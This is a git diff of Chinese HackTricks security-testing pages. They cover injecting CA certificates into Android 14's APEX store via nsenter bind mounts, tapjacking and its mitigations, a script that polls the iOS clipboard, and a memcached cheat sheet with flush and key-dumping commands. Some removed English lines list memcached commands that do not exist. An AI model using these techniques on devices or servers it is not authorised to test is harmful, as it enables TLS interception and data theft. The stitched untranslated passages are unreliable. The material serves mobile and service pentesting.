<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (53).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
## Android 14后
|
||||
## Android 14 之后
|
||||
|
||||
在最新的Android 14版本中,观察到了系统信任的证书颁发机构(CA)证书处理方式的重大变化。以前,这些证书存储在**`/system/etc/security/cacerts/`**中,用户可以使用root权限访问和修改,从而可以立即应用于整个系统。然而,随着Android 14的推出,存储位置已经移至**`/apex/com.android.conscrypt/cacerts`**,这是**`/apex`**路径内的一个目录,具有不可变性。
|
||||
在最新的 Android 14 发布中,观察到了系统信任的证书颁发机构(CA)证书处理方式的重大变化。以前,这些证书存储在**`/system/etc/security/cacerts/`**中,用户可以使用 root 权限访问和修改,从而可以立即应用于整个系统。然而,随着 Android 14 的推出,存储位置已移至**`/apex/com.android.conscrypt/cacerts`**,这是**`/apex`**路径内的一个目录,具有不可变性。
|
||||
|
||||
尝试将**APEX cacerts路径**重新挂载为可写会失败,因为系统不允许此类操作。即使尝试卸载或使用临时文件系统(tmpfs)覆盖该目录也无法绕过不可变性;应用程序仍然会访问原始证书数据,而不考虑文件系统级别的更改。这种韧性是由于**`/apex`**挂载配置为私有传播,确保**`/apex`**目录内的任何修改不会影响其他进程。
|
||||
尝试将**APEX cacerts 路径**重新挂载为可写会失败,因为系统不允许此类操作。即使尝试卸载或使用临时文件系统(tmpfs)覆盖目录,也无法绕过不可变性;应用程序仍将访问原始证书数据,而不管文件系统级别的更改。这种韧性是由于**`/apex`** 挂载配置为私有传播,确保**`/apex`** 目录内的任何修改不会影响其他进程。
|
||||
|
||||
Android的初始化涉及`init`进程,该进程在启动操作系统时还会启动Zygote进程。该进程负责使用包含私有**`/apex`**挂载的新挂载命名空间启动应用程序进程,从而将对该目录的更改与其他进程隔离开来。
|
||||
Android 的初始化涉及`init` 进程,该进程在启动操作系统时还会启动 Zygote 进程。该进程负责使用包含私有**`/apex`** 挂载的新挂载命名空间启动应用程序进程,从而将对该目录的更改与其他进程隔离开来。
|
||||
|
||||
然而,对于需要修改**`/apex`**目录内系统信任的CA证书的人来说,存在一种解决方法。这涉及手动重新挂载**`/apex`**以去除私有传播,从而使其可写。该过程包括将**`/apex/com.android.conscrypt`**的内容复制到另一个位置,卸载**`/apex/com.android.conscrypt`**目录以消除只读约束,然后将内容恢复到**`/apex`**内的原始位置。这种方法需要迅速行动以避免系统崩溃。为了确保这些更改在整个系统范围内应用,建议重新启动`system_server`,这将有效地重新启动所有应用程序并使系统处于一致状态。
|
||||
然而,对于需要修改**`/apex`** 目录内系统信任的 CA 证书的人来说,存在一种解决方法。这涉及手动重新挂载**`/apex`** 以去除私有传播,从而使其可写。该过程包括将**`/apex/com.android.conscrypt`** 的内容复制到另一个位置,卸载**`/apex/com.android.conscrypt`** 目录以消除只读约束,然后将内容恢复到**`/apex`** 的原始位置。这种方法需要迅速行动以避免系统崩溃。为了确保这些更改在整个系统范围内应用,建议重新启动`system_server`,这将有效地重新启动所有应用程序并使系统处于一致状态。
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
|
@ -136,7 +141,7 @@ echo "System certificate injected"
|
|||
```
|
||||
### 通过 NSEnter 进行绑定挂载
|
||||
|
||||
1. **设置可写目录**:首先,通过在现有非 APEX 系统证书目录上挂载 `tmpfs` 来建立一个可写目录。使用以下命令实现:
|
||||
1. **设置可写目录**:首先,通过在现有的非 APEX 系统证书目录上挂载 `tmpfs` 来建立一个可写目录。使用以下命令实现:
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
|
@ -151,8 +156,26 @@ nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/securi
|
|||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
5. **替代方法 - 软重启**:另一种方法涉及在`init`进程(PID 1)上执行绑定挂载,然后使用`stop && start`命令对操作系统进行软重启。这种方法将在所有命名空间中传播更改,避免了需要单独处理每个运行中的应用程序的需求。然而,由于重新启动的不便,通常不太受欢迎。
|
||||
5. **替代方法 - 软重启**:另一种方法涉及在`init`进程(PID 1)上执行绑定挂载,然后通过`stop && start`命令对操作系统进行软重启。这种方法将在所有命名空间中传播更改,避免了需要单独处理每个运行中应用程序的需求。然而,由于重新启动的不便,通常不太受欢迎。
|
||||
|
||||
## 参考
|
||||
|
||||
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,42 +1,46 @@
|
|||
# Tapjacking
|
||||
# 点击劫持
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**Tapjacking**是一种攻击,其中启动一个**恶意应用程序**,并**定位在受害者应用程序的顶部**。一旦它明显遮挡了受害者应用程序,其用户界面被设计成以一种方式欺骗用户与其交互,同时将交互传递给受害者应用程序。\
|
||||
**点击劫持**是一种攻击,其中**启动恶意应用程序**并**定位在受害者应用程序顶部**。一旦它明显遮挡了受害者应用程序,其用户界面被设计成以一种方式欺骗用户与其交互,同时将交互传递给受害者应用程序。\
|
||||
实际上,它**使用户无法意识到他们实际上是在受害者应用程序上执行操作**。
|
||||
|
||||
### 检测
|
||||
|
||||
为了检测容易受到此攻击的应用程序,您应该搜索Android清单中的**导出活动**(请注意,具有意图过滤器的活动默认情况下会自动导出)。找到导出的活动后,**检查它们是否需要任何权限**。这是因为**恶意应用程序也将需要该权限**。
|
||||
为了检测容易受此攻击影响的应用程序,您应该搜索Android清单中的**导出活动**(请注意,具有意图过滤器的活动默认情况下会自动导出)。找到导出的活动后,**检查它们是否需要任何权限**。这是因为**恶意应用程序也将需要该权限**。
|
||||
|
||||
### 保护
|
||||
|
||||
#### Android 12(API 31,32)及更高版本
|
||||
|
||||
[**根据此来源**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,**从Android 12(API 31和30)及更高版本开始,Android会自动阻止tapjacking攻击。因此,即使应用程序存在漏洞,您**也无法利用它**。
|
||||
[**根据此来源**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,**从Android 12(API 31和30)及更高版本开始,Android会自动阻止点击劫持攻击。因此,即使应用程序存在漏洞,您**也无法利用它**。
|
||||
|
||||
#### `filterTouchesWhenObscured`
|
||||
|
||||
如果**`android:filterTouchesWhenObscured`**设置为**`true`**,当视图的窗口被另一个可见窗口遮挡时,该`View`将不会接收触摸。
|
||||
如果**`android:filterTouchesWhenObscured`**设置为**`true`**,当视图的窗口被另一个可见窗口遮挡时,该`View`将不会接收触摸事件。
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
如果将属性**`setFilterTouchesWhenObscured`**设置为true,还可以在Android版本较低时防止利用此漏洞。\
|
||||
例如,如果设置为**`true`**,则按钮可以在被遮挡时**自动禁用**:
|
||||
如果将属性**`setFilterTouchesWhenObscured`**设置为true,还可以防止在Android版本较低时利用此漏洞。\
|
||||
例如,如果设置为**`true`**,则按钮在被遮挡时可以自动**禁用**:
|
||||
```xml
|
||||
<Button android:text="Button"
|
||||
android:id="@+id/button1"
|
||||
|
@ -65,8 +69,12 @@ android:filterTouchesWhenObscured="true">
|
|||
|
||||
您可以使用[**qark**](https://github.com/linkedin/qark)与`--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk`参数来创建一个恶意应用程序,以测试可能的**Tapjacking**漏洞。
|
||||
|
||||
缓解措施相对简单,开发人员可以选择在视图被另一个视图覆盖时不接收触摸事件。使用[Android开发者参考](https://developer.android.com/reference/android/view/View#security):
|
||||
缓解措施相对简单,开发人员可以选择在一个视图被另一个视图覆盖时不接收触摸事件。使用[Android开发者参考](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
> 有时,应用程序必须能够验证用户完全知情并同意执行的操作,例如授予权限请求、进行购买或点击广告。不幸的是,恶意应用程序可能会尝试欺骗用户执行这些操作,而用户却不知情,通过隐藏视图的预期目的。作为补救措施,框架提供了一个触摸过滤机制,可用于提高提供对敏感功能的访问的视图的安全性。
|
||||
> 有时,应用程序必须能够验证用户完全知情并同意执行的操作,例如授予权限请求、进行购买或点击广告。不幸的是,恶意应用程序可能会试图欺骗用户执行这些操作,而用户却不知情,通过隐藏视图的预期目的。作为补救措施,框架提供了一个触摸过滤机制,可用于提高提供对敏感功能的访问的视图的安全性。
|
||||
>
|
||||
> 要启用触摸过滤,请调用[`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)或将android:filterTouchesWhenObscured布局属性设置为true。启用后,框架将丢弃每当视图的窗口被另一个可见窗口遮挡时接收到的触摸。因此,每当toast、对话框或其他窗口出现在视图的窗口上方时,视图将不会接收触摸。
|
||||
> 要启用触摸过滤,请调用[`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)或将android:filterTouchesWhenObscured布局属性设置为true。启用后,框架将丢弃在视图的窗口被另一个可见窗口遮挡时接收到的触摸。因此,每当toast、对话框或其他窗口出现在视图的窗口上方时,视图将不会接收触摸。
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
|
|
@ -6,29 +6,34 @@
|
|||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
在iOS设备上,应用程序内部和跨应用程序之间的数据共享是通过[`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard)机制实现的,该机制分为两个主要类别:
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **系统范围的通用剪贴板**:用于与**任何应用程序**共享数据,并且旨在在iOS 10以后可用的设备重新启动和应用程序卸载时保留数据。
|
||||
- **自定义/命名剪贴板**:专门用于在应用程序内部或与共享相同团队ID的另一个应用程序之间共享数据,并且不会在创建它们的应用程序进程的生命周期之外保留数据,这是iOS 10引入的更改。
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
在使用剪贴板时,**安全考虑**起着重要作用。例如:
|
||||
- 用户没有机制来管理应用程序访问**剪贴板**的权限。
|
||||
- 为了减轻未经授权的后台监视剪贴板的风险,访问仅限于应用程序在前台运行时(自iOS 9以来)。
|
||||
|
||||
iOS设备上应用程序内部和跨应用程序之间的数据共享是通过[`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard)机制实现的,分为两个主要类别:
|
||||
|
||||
- **系统范围的通用剪贴板**:用于与**任何应用程序**共享数据,并设计为在iOS 10以后可跨设备重启和应用卸载持久化数据的功能。
|
||||
- **自定义/命名剪贴板**:专门用于在应用程序内部或与共享相同团队ID的另一个应用程序之间共享数据,并且不会在创建它们的应用程序进程的生命周期之外持久存在,这是iOS 10引入的变化。
|
||||
|
||||
在利用剪贴板时,**安全考虑**起着重要作用。例如:
|
||||
- 用户没有管理应用程序权限访问**剪贴板**的机制。
|
||||
- 为了减轻未经授权的后台监控剪贴板的风险,访问仅限于应用程序在前台运行时(自iOS 9以来)。
|
||||
- 由于隐私问题,不鼓励使用持久命名剪贴板,而是推荐使用共享容器。
|
||||
- iOS 10引入的**通用剪贴板**功能允许通过通用剪贴板在设备之间共享内容,开发人员可以管理数据过期时间并禁用自动内容传输。
|
||||
|
||||
确保**敏感信息不会被意外存储**在全局剪贴板中至关重要。此外,应用程序应设计为防止全局剪贴板数据被用于非预期操作,鼓励开发人员实施措施防止将敏感信息复制到剪贴板中。
|
||||
确保**敏感信息不会被意外存储**在全局剪贴板中至关重要。此外,应用程序应设计防止全局剪贴板数据被用于意外操作的滥用,鼓励开发人员实施措施防止将敏感信息复制到剪贴板中。
|
||||
|
||||
### 静态分析
|
||||
|
||||
对于静态分析,搜索源代码或二进制文件以查找:
|
||||
- `generalPasteboard` 以识别对**系统范围的通用剪贴板**的使用。
|
||||
- `generalPasteboard` 以识别**系统范围的通用剪贴板**的使用。
|
||||
- `pasteboardWithName:create:` 和 `pasteboardWithUniqueName` 用于创建**自定义剪贴板**。验证是否启用了持久性,尽管这已被弃用。
|
||||
|
||||
### 动态分析
|
||||
|
@ -45,7 +50,7 @@
|
|||
|
||||
一个监视工具的示例是**objection的剪贴板监视器**,它每5秒轮询generalPasteboard以查看更改并输出新数据。
|
||||
|
||||
以下是一个简单的JavaScript脚本示例,受objection方法的启发,每5秒读取并记录剪贴板中的更改:
|
||||
以下是一个简单的JavaScript脚本示例,受objection方法启发,每5秒读取并记录剪贴板中的更改:
|
||||
```javascript
|
||||
const UIPasteboard = ObjC.classes.UIPasteboard;
|
||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||
|
@ -75,6 +80,11 @@ console.log(items);
|
|||
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -6,21 +6,25 @@
|
|||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上**关注**我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 命令速查表
|
||||
|
||||
**来源** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
|
||||
|
||||
支持的命令(官方和一些非官方)在 [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) 文档中有记录。
|
||||
支持的命令(官方命令和一些非官方命令)在 [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) 文档中有记录。
|
||||
|
||||
遗憾的是,语法描述并不是很清晰,一个简单的帮助命令列出现有命令会更好。以下是您可以在 [源代码](https://github.com/memcached/memcached) 中找到的命令概述(截至 2016 年 8 月 19 日):
|
||||
遗憾的是语法描述并不清晰,一个简单的帮助命令列出现有命令会更好。以下是您可以在 [源代码](https://github.com/memcached/memcached) 中找到的命令概述(截至 2016 年 8 月 19 日):
|
||||
|
||||
| 命令 | 描述 | 示例 |
|
||||
| --------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
|
@ -30,11 +34,11 @@
|
|||
| replace | 覆盖现有密钥 | `replace key 0 60 5` |
|
||||
| append | 将数据附加到现有密钥 | `append key 0 60 15` |
|
||||
| prepend | 将数据前置到现有密钥 | `prepend key 0 60 15` |
|
||||
| incr | 将给定数字加到数值密钥上 | `incr mykey 2` |
|
||||
| decr | 将给定数字减去数值密钥 | `decr mykey 5` |
|
||||
| incr | 将给定数字加到密钥值上 | `incr mykey 2` |
|
||||
| decr | 将给定数字减去密钥值 | `decr mykey 5` |
|
||||
| delete | 删除现有密钥 | `delete mykey` |
|
||||
| flush\_all | 立即使所有项目无效 | `flush_all` |
|
||||
| flush\_all | n 秒后使所有项目无效 | `flush_all 900` |
|
||||
| flush\_all | 在 n 秒内使所有项目无效 | `flush_all 900` |
|
||||
| stats | 打印一般统计信息 | `stats` |
|
||||
| | 打印内存统计信息 | `stats slabs` |
|
||||
| | 打印更高级别的分配统计信息 | `stats malloc` |
|
||||
|
@ -42,18 +46,18 @@
|
|||
| | | `stats detail` |
|
||||
| | | `stats sizes` |
|
||||
| | 重置统计计数器 | `stats reset` |
|
||||
| lru\_crawler metadump | 转储缓存中(所有)项目的元数据 | `lru_crawler metadump all` |
|
||||
| lru\_crawler metadump | 转储缓存中所有项目的(大部分)元数据 | `lru_crawler metadump all` |
|
||||
| version | 打印服务器版本。 | `version` |
|
||||
| verbosity | 增加日志级别 | `verbosity` |
|
||||
| quit | 终止会话 | `quit` |
|
||||
|
||||
#### 交通统计 <a href="#traffic-statistics" id="traffic-statistics"></a>
|
||||
#### 流量统计 <a href="#traffic-statistics" id="traffic-statistics"></a>
|
||||
|
||||
您可以使用以下命令查询当前的交通统计信息
|
||||
您可以使用以下命令查询当前流量统计信息
|
||||
```
|
||||
stats
|
||||
```
|
||||
您将获得一个列出连接数、收发字节数等信息的列表。
|
||||
您将获得一个列出连接数、收发字节数等信息的清单。
|
||||
|
||||
示例输出:
|
||||
```
|
||||
|
@ -87,56 +91,46 @@ END
|
|||
```
|
||||
stats slabs
|
||||
```
|
||||
### Memcache Commands
|
||||
```markdown
|
||||
## Memcache Commands
|
||||
|
||||
#### Retrieval Commands
|
||||
### Stats Command
|
||||
|
||||
- **get**: Retrieve the value for a given key.
|
||||
- **gets**: Retrieve the value for a given key with CAS value.
|
||||
The `stats` command is used to retrieve general statistics about the Memcached server. This command can provide information such as total number of connections, memory usage, hit and miss ratio, and more.
|
||||
|
||||
#### Storage Commands
|
||||
To use the `stats` command, you can simply run:
|
||||
|
||||
- **set**: Set a new key with a specific value.
|
||||
- **add**: Add a new key with a specific value (fails if key already exists).
|
||||
- **replace**: Replace the value of an existing key.
|
||||
- **append**: Append data to the existing key's value.
|
||||
- **prepend**: Prepend data to the existing key's value.
|
||||
- **cas**: Set a new value for a key based on its CAS value.
|
||||
```bash
|
||||
stats
|
||||
```
|
||||
|
||||
#### Deletion Commands
|
||||
This will return a list of statistics that can help you analyze the performance and usage of the Memcached server.
|
||||
|
||||
- **delete**: Delete the key and its value.
|
||||
- **flush_all**: Clear all keys in the server.
|
||||
### Set Command
|
||||
|
||||
#### Increment/Decrement Commands
|
||||
The `set` command is used to store a new key with some data on the Memcached server. This command requires the key, flags, expiration time, and the length of data in bytes.
|
||||
|
||||
- **incr**: Increment the numeric value of a key.
|
||||
- **decr**: Decrement the numeric value of a key.
|
||||
To use the `set` command, you can run:
|
||||
|
||||
#### Touch Command
|
||||
```bash
|
||||
set mykey 0 3600 5
|
||||
hello
|
||||
```
|
||||
|
||||
- **touch**: Update the expiration time of a key.
|
||||
In this example, we are setting a key `mykey` with a value of `hello` that expires in 3600 seconds.
|
||||
|
||||
#### Stats Command
|
||||
### Get Command
|
||||
|
||||
- **stats**: Get statistics from the server.
|
||||
The `get` command is used to retrieve the data stored with a specific key on the Memcached server.
|
||||
|
||||
#### Other Commands
|
||||
To use the `get` command, you can run:
|
||||
|
||||
- **version**: Get the version of the server.
|
||||
- **quit**: Close the connection.
|
||||
```bash
|
||||
get mykey
|
||||
```
|
||||
|
||||
#### Multi-Processing Commands
|
||||
|
||||
- **multi_get**: Retrieve multiple values for the given keys.
|
||||
- **multi_set**: Set multiple keys with their respective values.
|
||||
- **multi_add**: Add multiple keys with their respective values.
|
||||
- **multi_replace**: Replace multiple keys with their respective values.
|
||||
- **multi_delete**: Delete multiple keys.
|
||||
|
||||
#### Flush Command
|
||||
|
||||
- **flush_all**: Clear all keys in the server.
|
||||
This will return the value associated with the key `mykey`, if it exists in the Memcached server.
|
||||
```
|
||||
```
|
||||
STAT 1:chunk_size 80
|
||||
STAT 1:chunks_per_page 13107
|
||||
|
@ -157,19 +151,17 @@ STAT active_slabs 3
|
|||
STAT total_malloced 3145436
|
||||
END
|
||||
```
|
||||
#### 哪些键被使用了? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
|
||||
如果您不确定您的memcached实例是否有足够的内存,请始终关注“stats”命令提供的“evictions”计数器。如果实例有足够的内存,“evictions”计数器应为0,或者至少不会增加。
|
||||
|
||||
如果您不确定您的memcached实例是否有足够的内存,请始终注意“stats”命令给出的“evictions”计数器。如果实例有足够的内存,“evictions”计数器应该为0,或者至少不会增加。
|
||||
#### 使用了哪些键? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
|
||||
|
||||
没有内置函数可以直接确定当前的键集。但是您可以使用
|
||||
```
|
||||
stats items
|
||||
```
|
||||
### Command to determine how many keys do exist
|
||||
### Command to determine how many keys do exist.
|
||||
|
||||
Use the following command to determine the number of keys that exist in the Memcache server:
|
||||
|
||||
```bash
|
||||
stats items
|
||||
```
|
||||
查询存在多少个键的命令。
|
||||
```
|
||||
stats items
|
||||
STAT items:1:number 220
|
||||
|
@ -180,3 +172,21 @@ STAT items:2:age 1405
|
|||
END
|
||||
```
|
||||
这至少有助于查看是否使用了任何键。要从已经执行memcache访问的PHP脚本中转储键名称,您可以使用来自[100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html)的PHP代码。
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,16 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
